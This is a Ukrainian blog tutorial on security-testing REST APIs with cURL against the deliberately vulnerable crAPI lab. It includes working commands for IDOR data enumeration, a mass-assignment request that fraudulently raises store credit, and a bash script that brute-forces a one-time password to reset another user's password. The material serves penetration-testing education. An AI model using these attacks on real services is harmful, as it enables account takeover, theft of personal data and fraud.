Взлом API через cURL

Деякі з вас використовували cURL при тестуванні додатків, а чи пробували ви трохи погратися з іншої сторони з ним? В цій статі покажу на скільки важливо робити такі перевірки на безпеку, так як часто знаходив вразливості API у традиційних веб-додатках і хочу поділитися з вами цією інформацією як це робити, а ви самі зрозумієте який вплив на бізнес виникає.

TOOLS FOR FIND VULNERABILITY

Логин Свят

10/28/20233 min read

Взлом API через curl

Таким чином, хоча Burp є чудовим проксі-сервером для атак для API, cURL дозволяє вам трохи наблизитися до рівня протоколу, надаючи вам гнучкість для роботи над складнішими вразливими місцями дуже легким способом. Набагато легше працювати з простим сценарієм bash, який використовує cURL, який ви можете приєднати до звіту про вразливість API, ніж писати величезний документ із знімками екрана, які показують, як налаштувати для цього Burp.

Якщо ви шукаєте винагороди за помилки в API, cURL стає важливим інструментом для демонстрації впливу на бізнес уразливості, знайденої в REST API. Зазвичай ви можете отримати більш зрозумілий діалог із командою розробки програми, якщо надасте їм невеликий кількість команд cURL, які можуть продемонструвати слабкі місця в цільовому API.

Як використовувати cURL під час злому API

Що таке cURL?

Чи знаєте ви, що це розшифровується як «URL клієнта»? Він існує з 1997 року та має дві форми… бібліотека під назвою libcurl та інструмент командного рядка (CLI) під назвою curl . Ми зосередимося на інструменті CLI.

Це безкоштовна бібліотека передачі URL-адрес на стороні клієнта, яка дає змогу спілкуватися з багатьма протоколами, включаючи FTP, Gopher, SMTP, POP3, IMAP, LDAP і, як ви здогадалися з HTTP.

Отже, давайте дослідимо, як використовувати cURL для надсилання вашого першого запиту API!

основи cURL

У цій статті буде використовувати лабораторне середовище crAPI , щоб продемонструвати, як тестувати API на безпеку за допомогою cURL.

crAPI розшифровується як «абсолютно безглуздий API». Він імітує керовану API веб-програму на основі мікросервісів.Вона майже імітує роботу сучасних веб-додатків. Використовуйте його, щоб практикувати тестування безпеки інтерфейсу прикладного програмування.

Якщо ви не хочете запускати свій власний екземпляр локально, ви можете скористатися перевагами розміщеної версії, представленої в Інтернеті http://crapi.apisec.ai, завдяки Корі Боллу, автору Hacking API.

Захоплення запитів API за допомогою DevTools

Почнімо з того, як створити свою першу команду cURL, навіть не знаючи, як працює cURL.

Команда, яка називається «Copy as cURL», вбудована безпосередньо в інструменти розробника браузера. Якщо клацнути правою кнопкою миші на будь-якому запиті на вкладці Network та вибрати його, ви отримаєте точну команду cURL для виконання.

Тож давайте спробуємо:

  1. Відкрийте інструменти розробника у своєму браузері

  2. Натисніть вкладку Network

  3. Тепер у браузері перейдіть до сайту http://crapi.apisec.ai/signup

  4. Заповніть форму реєстрації

  5. Натисніть Singup

  6. Тепер поверніться до інструментів розробника. Клацніть правою кнопкою миші запит на реєстрацію Singup. Потім виберіть Copy, потім, Copy as cURL

Те що ви скопіювали, вставте в термінал своєї операційної системи, повинно вийти щось типу такого:

З часом ви набудете досвіду, щоб знати, які заголовки вам потрібні, а які ні під час виклику кінцевих точок API. Втручання в неправильно налаштовані HTTP-заголовки може порушити роботу, тому вам потрібно бути обережним.

Наразі ми можемо використовувати це для створення нашої першої команди curl для надсилання запиту на створення нового користувача в crAPI.

Надсилання вашого першого запиту API

Отже, коли ви копіюєте команду cURL з інструмента розробника, вона включатиме багато заголовків. Щоб нам було простіше, я видалю те, що не потрібно, та наповню цей запит трішки іншими даними, щоб не повторювались з даними які я відправлям при реєстрації через браузер, щоб впевнетись що з цим запитом я створю нового юзера, для надсилання нашого першого запиту. Це може виглядати приблизно так:

curl 'http://crapi.apisec.ai/identity/api/auth/signup' -H 'Content-Type: application/json' --data-raw '{"name":"Svyatlogin","email":"svyatlogin+1@fdsf.fsd","number":"3332221112","password":"ATgtr7RdUrkv26@"}' --insecure -v

Придивившись до команди, ми можемо чітко побачити, наскільки легко може працювати cURL:

  • Ми надаємо йому URL-адресу кінцевої точки API, яка є http://crapi.apisec.ai/identity/api/auth/signup

  • Ми передаємо заголовок Content-Type, щоб повідомити, що ми надсилаємо корисне навантаження JSON за допомогою -H 'Content-Type: application/json'

  • Ми надсилаємо об’єкт реєстрації за допомогою –data-raw '{“name”:”Svyatlogin”,”email”:”svyatlogin+1@fdsf.fsd”,”number”:”3332221113″,”password”:”ATgtr7RdUrkv26@″}'

  • Ми передаємо параметр –insecure , який дозволяє нам незахищено підключатися (і може ігнорувати будь-які проблеми із сертифікатами, якщо вони існують), коли ми надсилаємо конфіденційні дані.

  • Ми передаємо параметр -v , який показує нам детальний висновок запиту, корисний для перегляду заголовків відповідей і кодів стану.

Розбір відповіді API

Тепер, коли ми надіслали наш перший запит cURL для створення нового користувача, давайте перейдемо до їх входу. Ось команда cURL, яку ви можете використовувати для цього:

curl 'http://crapi.apisec.ai/identity/api/auth/login' -H 'Content-Type: application/json' --data-raw '{"email":"svyatlogin+1@fdsf.fsd","password":"ATgtr7RdUrkv26@"}' --insecure

Це добре сформована відповідь JSON. Але насправді нам потрібні лише маркери доступу. Ми можемо розібрати це за допомогою іншого простого інструменту CLI під назвою jq.

Фільтрування даних за допомогою jq

jq — це легкий і гнучкий процесор JSON командного рядка. Це як sed для даних JSON – ви можете використовувати його для нарізки, фільтрації, відображення та трансформації структурованих даних з такою ж легкістю, як sed , awk , grep. Скачати можна тут https://jqlang.github.io/jq/

У нашому випадку ми просто хочемо витягти властивість маркера з відповіді. Щось на зразок jq -j .token.

Давайте поєднаємо це з командою cURL і повернемо результат у змінну bash під назвою ACCESS_TOKEN, щоб ми могли використовувати її пізніше:

ACCESS_TOKEN=$(curl 'http://crapi.apisec.ai/identity/api/auth/login' -H 'Content-Type: application/json' --data-raw '{"email":"svyatlogin+1@fdsf.fsd","password":"ATgtr7RdUrkv26@"}' --insecure -s | jq -j .token)

Використання ваших маркерів доступу через змінні

На цьому етапі в будь-якій подальшій команді cURL, де нам потрібен маркер доступу для зв’язку, ми можемо просто використовувати $ACCESS_TOKEN. Як приклад, давайте відновимо всі продукти в базі даних:

curl 'http://crapi.apisec.ai/workshop/api/shop/products' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s | jq

Зверніть увагу, що нам довелося додати новий заголовок для маркера авторизації. Ми також використовували подвійні лапки, щоб ми могли правильно інтерпретувати змінну для токена носія.

Демонстрація поширених уразливостей API

Отже, crAPI чудово підходить, оскільки дозволяє нам демонструвати вразливості в API. Однак це не стаття про те, як знайти вульни. Натомість я просто покажу вам кілька команд cURL, які використовують деякі інші кінцеві точки API, щоб ви мали уявлення про те, як створювати власні сценарії bash для різних проблем безпеки.

Почнемо з IDOR, однієї з найпоширеніших уразливостей API, яка виникає, оскільки перевірки авторизації на рівні об’єкта не виконуються належним чином.

Порушена авторизація на рівні об’єкта

Отже, порушена авторизація на рівні об’єкта (IDOR) виникає, коли під час доступу до даних не виконується належна авторизація. Зазвичай це можна досягти, якщо ідентифікатори об’єктів можна змінити таким чином, щоб надати доступ до ресурсів інших користувачів.

У випадку crAPI існує вразливість IDOR в тому, як API намагався обробити ідентифікатори об’єктів для звіту механіка. Якщо ви хочете повернути конфіденційну інформацію про когось іншого, вам просто потрібно змінити параметр report_id:

curl 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=1' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s | jq

І результати можуть виглядати приблизно так:

Надмірний доступ до даних

Із вразливості вище IDOR, змінивши ідентифікатори об’єктів у звіті report=1, ви отримали у звіті конфіденційні дані через вразливість в даних.

Ми не лише отримали детальну інформацію про статус звіту, але ми ТАКОЖ отримуємо доступ до електронної адреси користувача, номера телефону та VIN-коду.

Давайте витягнемо всі дані користувача, які зможемо. Якщо ми зв’яжемо IDOR з надмірним розкриттям даних, ми зможемо продемонструвати реальне серйозне порушення даних. Щось на кшталт цього буде добре працювати:

seq 1 5 | xargs -I + curl 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=+' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s | jq -j [".vehicle.vin, .vehicle.owner.email, .vehicle.owner.number"]

Гаразд, із додаванням кількох додаткових команд CLI багато чого не зрозуміло з цим експлойтом, тому давайте покроково розберемося:

  • seq — це інструмент, який генерує послідовність чисел, чудово підходить для роботи з цілочисельними значеннями, як у цій IDOR. Налаштування 1 і 5 просто означає, що ми створимо послідовність чисел від 1 до 5, а потім передамо її в наступну команду.

  • xargs — це команда UNIX, яка розшифровується як eXtended ARGumentS. У нашому випадку це послідовність чисел від 1 до 5. Коли ми передаємо -I , це вказує xarg використовувати наступний символ як заміну для того, що надходить зі стандартного введення. Цей символ є знаком плюс (+), що означає, що в кожній ітерації він замінюватиме + на число в послідовності.

  • У спосіб використання jq ми відфільтровуємо все, крім електронної адреси власника, номера телефону та VIN автомобіля.

Масове завдання

Отже, crAPI вразливий до вразливості масового призначення. Можна змінити властивості об’єкта під час процесу повернення замовлення, щоб повернути більше продуктів, ніж було придбано, що значно збільшує кредит вашого магазину.

Один із способів визначити це — якщо ми передаємо опцію -v для cURL під час виклику кінцевих точок API для замовлень, він перераховує дозволені методи HTTP, включаючи PUT:

curl 'http://crapi.apisec.ai/workshop/api/shop/orders/133' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s -v | jq

Представляю новий аргумент для cURL під назвою -X . Це дозволяє нам змінити метод запиту на використання операції PUT, яка дозволяє нам оновлювати замовлення, змінювати статус на «повернено» та встановлювати будь-яке значення кількості. У моєму випадку я думаю, що піду отримати кредит на 1000 доларів:

curl -X PUT 'http://crapi.apisec.ai/workshop/api/shop/orders/122' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --data-raw '{"product_id":3, "quantity":100,"status":"returned"}' --insecure -s | jq

Розуміючи моделі даних в crAPI, надання додаткових властивостей об’єктів дозволяє нам перезаписувати дані неочікуваним чином, дозволяючи нам маніпулювати нашими замовленнями та красти гроші магазину.

Демонстрація більш складного експлойту за допомогою сценаріїв bash і cURL

Ви вже знаєте кілька команд cURL, щоб дати вам гарне уявлення про те, як продемонструвати, як використовувати вразливі API. Давайте об’єднаємо все це в більш складний сценарій bash, щоб продемонструвати цікавий ланцюжок експлойтів, щоб разом продемонструвати кілька вразливостей, максимізуючи вплив у звіті.

Я збираюся використовувати недоліки реалізації механізмів автентифікації забутого пароля. Це викриє вразливість несправної автентифікації користувача та дозволить мені змінити пароль і увійти як інший автентифікований користувач. Пам’ятайте, що раніше ми змогли знайти адреси електронної пошти інших користувачів у вульнах IDOR та Excessive Data Exposure.

Остання версія crAPI, яку використовує веб-сайт, насправді не вразлива до цього. Розробники додали обмеження швидкості, яке запобігає брутфорсу необхідного одноразового пароля під час зміни пароля у версії 3 кінцевої точки API. Однак через те, що ми можемо викликати застарілі версії API (зазвичай це називається вразливістю неправильного керування активами), це допускає нас до вразливості обмеження ресурсів і швидкості ... дозволяючи нам вгадати одноразовий пароль і змінити пароль.

Ось як виглядає цей експлойт:

#!/bin/bash FPWD_URL="http://crapi.apisec.ai/identity/api/auth/forget-password"
OTP_URL="http://crapi.apisec.ai/identity/api/auth/v2/check-otp"
EMAIL="svyatlogin+1@fdsf.fsd"
NEW_PWD="ATgtr7RdUrkv26@"
# Спочатку треба до апі згенерувати ОТП на евенті забули пароль
RESULT=$(curl $FPWD_URL \
-H 'Content-Type: application/json' \
--data-raw "{\"email\":\"$EMAIL\"}" \
--insecure -s)
for OTP in {0000..9999}; do
RESULT=$(curl $OTP_URL \
-H 'Content-Type: application/json' \
--data-raw "{\"email\":\"$EMAIL\",\"otp\":\"$OTP\", \"password\":\"$NEW_PWD\"}" \
--insecure -s| jq -j .status)
if [[ "200" == $RESULT ]]; then
echo "Bruteforced OTP ($OTP). Password for $EMAIL reset to $NEW_PWD."
break
fi
done

Саме такі недоліки автентифікації є поганою новиною для API. Брутфорсінг не тільки може вплинути на продуктивність сервера API, але й об’єднати всі ці різні вразливості разом, що дає нам змогу миттєво заволодіти іншими обліковими записами.

Висновок

Сподіваюся, вам було корисно і мені вдалося зацікавити вашу цікавість. Використання cURL під час тестування API, цей спосіб є потужним способом продемонструвати вплив на етапі звітування. Це дає вам змогу чітко показати, як ця вразливість порушує безпеку API, яку може відтворити будь-хто, від пентестера до девелопера.

Я закликаю вас спробувати використати інші вразливості у веб-додатку crAPI, за допомогою cURL. Це чудова практика, яка лише допоможе вам покращити свій навик злому API.